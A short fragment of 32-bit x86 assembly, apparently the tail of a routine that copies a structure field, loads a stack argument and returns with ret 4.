mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4